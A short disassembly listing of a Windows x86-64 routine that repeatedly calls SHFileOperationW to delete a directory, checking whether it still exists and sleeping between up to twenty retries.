call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b03f
test al, 0x10
je 0x14000b03f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000afe5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret